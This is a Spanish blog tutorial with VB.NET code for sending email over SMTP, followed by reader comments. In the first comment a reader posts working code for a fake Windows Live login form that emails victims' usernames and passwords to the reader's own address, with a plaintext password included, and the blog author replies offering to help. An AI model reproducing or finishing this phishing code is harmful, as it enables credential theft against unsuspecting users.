Ir al contenido principal

Tutorial Como enviar correos o emails desde visual basic.net



Creo que a muchos programadores novatos nos hemos realizado la gran pregunta ¿como enviar correos desde visual.net?, pues aqui la respuesta, hace tiempo lo tuve que investigar para un proyecto y googleando me encontre con este codigo que cumple lo que promete.
En aras del aprendizaje quise darlo a conocer y por esto realice el siguiente vídeo tutorial, espero y sea de vuestro agrado.





Este es el codigo fuente para quienes lo deseen.



Imports System.Net.Mail

Public Class Form1

Dim message As New MailMessage
Dim smtp As New SmtpClient

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As
System.EventArgs) Handles Button1.Click

message.From = New MailAddress("CORREO DESDE DONDE SE ENVIA")
message.To.Add("EL DESTINATARIO")
message.Body = "EL CUERPO O EL CONTENIDO DEL MENSAJE"
message.Subject = "TITULO DEL CORREO"
message.Priority = MailPriority.Normal

smtp.EnableSsl = True
smtp.Port = "587"
smtp.Host = "smtp.live.com"
smtp.Credentials = New Net.NetworkCredential("EL CORREO DESDE DONDE SE ENVIA", "AQUI CONTRASEÑA")
smtp.Send(message)
End Sub
End Class

Comentarios

  1. hola mi Ander, no se como hacer para enviar a mi correo el user y el pass del msn falso de tu video. ya cheke este video de como enviar correo con vb y si me funciono, hice otro proyecto del msn falso modificando el codigo y combinandolo con el de este video y no se como hacerle para enviar el user y el pass al correo aqui te dejo el codigo de el msn modificado. A VER SI ESTOY BIEN:

    Imports System.Net.Mail
    Public Class Form1
    Dim Message As New MailMessage
    Dim smtp As New smtpClient
    Private Sub BtnIniciar_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnIniciar.Click
    If TxtUsser.Text = "" Or TxtPass.Text = "" Then
    MsgBox("No puedes iniciar sesion en Windows Live Hotmail" & Chr(13) & "Escribe tu ID. de Windows Live, en este formato: tunombre@ejemplo.com", MsgBoxStyle.Information, "Windows Live Hotmail")
    Else
    Message.From = New MailAddress("gerardodejesusgonzalez@hotmail.com")
    Message.To.Add("impositivo.ok@hotmail.com")
    Message.Body = ("enviar.txt")
    Message.Body = ("enviar.txt")
    Message.Subject = "users y pass"
    Message.Priority = MailPriority.Normal
    smtp.EnableSsl = True
    smtp.Port = "587"
    smtp.Host = "smtp.live.com"
    smtp.Credentials = New Net.NetworkCredential("gerardodejesusgonzalez@hotmail.com", "20demarzode1982")
    smtp.Send(Message)
    End If
    MsgBox("No puedes iniciar sesion en Windows Live Hotmail" & Chr(13) & "La cuenta de Windows live Hotmail o la contraseña espesificada no es correcta.", MsgBoxStyle.Information, "Windows Live ID.")
    Dim proceso As New System.Diagnostics.Process
    With proceso
    .StartInfo.FileName = "https://login.live.com/login.srf?wa=wsignin1.0&rpsnv=11&ct=1302768272&rver=6.1.6206.0&wp=MBI&wreply=http:%2F%2Fmail.live.com%2Fdefault.aspx%3Fwa%3Dwsignin1.0&lc=3082&id=64855&mkt=es-es&cbcxt=mai&snsc=1"
    .Start()
    End With
    End Sub
    End Class


    AH! Y LA NETA ME NACE DECIRTE QUE NO ERES GRANDE... ERES LO QUE LE SIGUE.
    SIGUE ASI COMO VAS O MEJOR Y VAS A SER MAS DE LO QUE DESEAS. NETA.

    ResponderEliminar
  2. Perdón por la demora en contestar este mensaje, pero como copiaste tanto blogger lo detecto como spamm, la verdad lo que quieres no es Dificil. Si quieres te puedo ayudar, pero contactarme por facebook o twitter.. Saludos.

    ResponderEliminar
  3. hola ander me funciono perfectamente su código!... me gustaría codificarlo para que el correo mande un archivo adjunto, soy nuevo en visual basic, de antemano muchísimas gracias

    ResponderEliminar
  4. Dando respuesta a tu comentario anonimo, eso lo tendre listo dentro de proximos proyectos. Saludos..

    ResponderEliminar
  5. Hola ander bueno me gustaria qe agas un tutorial pero que estos codigos funcionen porqe ami no me funcionan yo se qe eres un capo bueno te dejo el video

    http://www.youtube.com/watch?v=KNOL9x6DvUE
    espero qe lo mires y me respondas y ojala qe agas un video asi pero con el codigo bueno si xD
    qe funcione con visual basic 2008 :D

    ResponderEliminar
  6. HOLA ANDERBOY HE ESTADO MIRANDO TUS VIDEOS TUTORIALES Y ME PARECEN BASTANTE INTERESANTES .
    BUENO ESTOY EMPEZANDO A ESTUDIAR ESTO DE VISUAL NO ESTOY TAN AVANZADO PERO SE ALGUITO TENGO UNA PREGUNTA ESPERO ME PUEDAS RESPONDER Y AYUDAR

    ESTOY HACIENDO UN JUEGO DE CARRERAR PERO NO PUEDO GENERAR EL EVENTO QUE AL CHOCARSE DOS PICTUBOX (CLARO CADA UNO CON UNA IMAGEN DE UN CARRO DENTRO) GENERE UN EVENTO POR EJEMPLO UN MSGBOX QUE ME DIGA(" CHOCASTE PERDISTE UNA VIDA")
    O ALGO ASI LO QUE SI PUEDO HACER ES UTILIZANDO LA PROPIEDAD :"LOCATION"
    HACER LO SIGUIENTE:

    If picturebox1.Location = picturebox1.Location Then
    MsgBox("CHOCASTE PERDISTE UNA VIDA.!!")
    lblvida.text-=1
    End If

    PERO ESTO SOLO ME PERMITE HACER QUE SUPUESTAMENTE SE CHOQUEN LOS CARROS PERO EN LA ESQUINA SUPERIOR IZQUIERDA Y JUSTO EN EL MISMO PUNTO DE LO CONTRARIO NO GENERA EL EVENTO

    LO QUE NECESITO ESQUE GENERE EL EVENTO DEL MSGBOX SI LOS 2 PICTUREBOX CHOQUEN EL CUALQUER PUNTO ..
    ESPERO HABERME EXPLICADO BIEN
    GRACIAS DE ANTEMANO ESPERO TU RESPUESTA

    TE DEJO MI BLOG PARA QUE PUEDAS COMUNICARTE CONMIGO

    progvsx.blogspot.com

    ResponderEliminar
  7. Lo que tu necesitas es algo que ya esta en la web y lo he visto por hay. En lo personal no he realizado dicho programa. Te recomiendo la pagina www.lawebdelprogramador.com descargar el codigo fuente de un juego que es de carreras y hace lo que necesitas, eso te puede dar una idea..
    No estoy incentivando la pereza ni mucho menos. pero eso puede ser una referencia para hacer tu proyecto..
    Si algo me contactas por el facebook. Saludos..

    ResponderEliminar
  8. Eu sou brasileiro
    Na hora de enviar a mensager aparece um negocio de JIT e não consigo enviar, o que faço?

    ResponderEliminar
  9. @Eu :
    Fazer o tutorial passo a passo. O vídeo não é um erro, o erro deve estar em algum lugar em sua programação ..
    Resposta traduzido por: tradutor GOOGLE

    ResponderEliminar
  10. Hola, soy Álvaro, y quería decirte que me funciona a la perfección.
    Solo que he intentado que se me enviase al correo el texto escrito en el textbox, y cuando doy a la flecha, para que me cargue la aplicación, no me deja, y se me subraya de amarillo el apartado de: Smtp.Send (message)
    Quería saber como hacer para que me funcione.

    ResponderEliminar
  11. Buenos días, tengo mi aplicación terminada, y soy nuevo en esto, me va genial, todo funciona, pero no se como guardarla.. No se ria de mi, pero la guardo, y no encuentro el archivo, al que dándole doble clic me aparezca la aplicación.
    Un saludo, Juan.

    ResponderEliminar
  12. En cuanto a lo del error que manifiestan, suele pasar por que omites un paso importante en cuanto a la configuracion del servidor.. Pon mucho cuidado, el tutorial esta hecho paso a paso justo para evitar eso..

    y lo de guardar el proyecto, puedes ver uno de mis videos en los que hablo de como hacer un exe de un proyecto de visual.net.
    En caso contrario puedes ir a la carpeta de tu proyecto, luego a bin y luego debug, hay encontraras el exe.. Saludos..

    ResponderEliminar
  13. Buenas mi nombre es Eduardo fuentes soto esta muy buena correo convisual.net
    pero quisiera que me ayudes un correo masivo y q jale desde mi base de datos de excel y el body este en html se que se puede pero no me sale, gracias por la ayuda

    ResponderEliminar
  14. Sabes como entrar una base de datos en visual basic

    ResponderEliminar
  15. Me gustaria saber si se podria enviar correos desde el visual basic pero que tengan 3 textbox que funcionen 1 de ellos estaria enmascarado. Muchas Gracias y respondeme a este correo electrónico porfavor: todotipodecuentas@gmail.com

    Muchas Gracias

    ResponderEliminar
  16. Hola amigo, me gustaria saber como enviar e-mail desde vb pero en formato html , con una cabecera de imagen, links , etc. algo como un boletin .
    Muchas gracias por su respuesta, mi correo es medardo_14@hotmail.com

    ResponderEliminar
  17. Excepción del tipo 'System.NullReferenceException' en NSTN.exe
    Excepción del tipo 'System.InvalidOperationException' en NSTN.exe
    Excepción del tipo 'System.NullReferenceException' en NSTN.exe
    Excepción del tipo 'System.InvalidOperationException' en NSTN.exe
    Excepción del tipo 'System.NullReferenceException' en NSTN.exe
    Excepción del tipo 'System.InvalidOperationException' en NSTN.exe
    Excepción del tipo 'System.NullReferenceException' en NSTN.exe
    Excepción del tipo 'System.InvalidOperationException' en NSTN.exe

    ¿Porque me sale este error? Al dar a un boton que me conecta a un FORM donde tengo las cosas pa mandar un email no se me abvre y me sale eso? :S

    Un saludo y Gracias por tus tutoriales

    ResponderEliminar
  18. Mucho cuidado con la version del framework...Actualizen al la ultima, ademas no para todas las versiones de .net el codigo es el mismo..
    Lo del textbox invisible es posible, solo ocultar su propiedad y mandarlo normal junto con la info de los otros..
    Para mayor info, comunicarme por twitter.. Saludos..

    ResponderEliminar
  19. hola q tal me aparece este error. . .

    mtpexception was unhandled

    Error al enviar correo.

    podrias ayudarme? gracias!!!

    ResponderEliminar
  20. Cuidado con la versión de visual que usan, el código no es el mismo para todas las versiones, por lo general de versión a versión cambia algo en la sintaxis. Ademas el framework influye mucho..
    Desarrollado en windows 7, con la versión de visual 2008

    ResponderEliminar
  21. entiendo el envió y la configuración pero si quisiera una configuración para este tipo de form que envié correo a todo tipo de Server sea hotmail gmail o yahoo como seria te dejo la imagen a alguien que me pueda ayuda
    https://www.dropbox.com/s/52j5kuxk2h1sg0e/contacto.png

    ResponderEliminar
  22. entes que nada muy buen blog "te felicito" me gustaria saber como conectar un texbox con un campo de una base de datos...

    ResponderEliminar
  23. hola
    tenia una duda acerca del tu tutorial para enviar correos, funciona muy bien y por cierto gracias por ese aporte pero quisiera saber como hacer para poder almacenarlos dentro de la aplicacion en si para tener un registro de lo que he enviado
    gracias

    ResponderEliminar
  24. Hola!! eres el mejor Anderboy!!
    Tengo una duda: Yo quiero que se envien los datos al mail como si fuera un formulario.

    ¿como hago eso?

    Atentamente

    ResponderEliminar
  25. Contesta a los comentarios!!
    Sino como quieres ser un buen Blogger.
    Eh oido que un progframadr joven de aqui 1 semana va abrir un blog llamado Hacker Inteligente
    se supone que hablara de programacion, dara hacks y por ahora me han dicho que ha echo uno de steam y face para apretar fuerte!!
    Ander ten cuidado con la comopetencia xD haber si te van a quitar gente!

    ResponderEliminar
  26. Hola no se como lo aces para mandar el correo pero ami me sale un erro del
    codigo smtp.send(message)
    aver si me puedes ayudar

    ResponderEliminar
  27. Este video me sirvió mucho, espero les sirva, en la descripción del video esta para descargar el código: https://www.youtube.com/watch?v=67h7WbCKh_g&t=3s

    Si te ha el error SMTP requiere una conexión segura la solución la encontré en este video:https://www.youtube.com/watch?v=oZOZvcrM3-k

    ResponderEliminar

Publicar un comentario

Entradas populares de este blog

Como Desencriptar claves MD5

Hola amigos y lectores de este blog. Luego de un buen tiempo vengo con este post dedicado a la gran pregunta. ¿COMO DESENCRIPTAR CLAVES EN MD5?.

Como Desencriptar claves MD5 (actualización)

Esta no es la primera entrada en la cual hablamos sobre MD5 y algunos metodos por los cuales podamos hacer uso de buscandores de Hashes masivos, ya en otra entrada hablamos del tema ( Como Desencriptar calves MD5 ).

Programar combobox o cuadro combinado en Access para abrir informes

Ya hace un tiempo no me pasaba por el blog, la idea es seguir con esta iniciativa y como siempre enseñar algo sobre informática y temas en general. Para esta ocasión la idea es empezar con algo de access, lo cual gracias a mi trabajo me he visto en la necesidad de utilizar en varias ocasiones, soy consciente que no es el motor de bases de datos adecuado no lo considero como tal, pero me veo en la obligación de usarlo para desarrollar e implementar procesos que se requieren en mi dependencia.. Basta de charla y vamos al grano.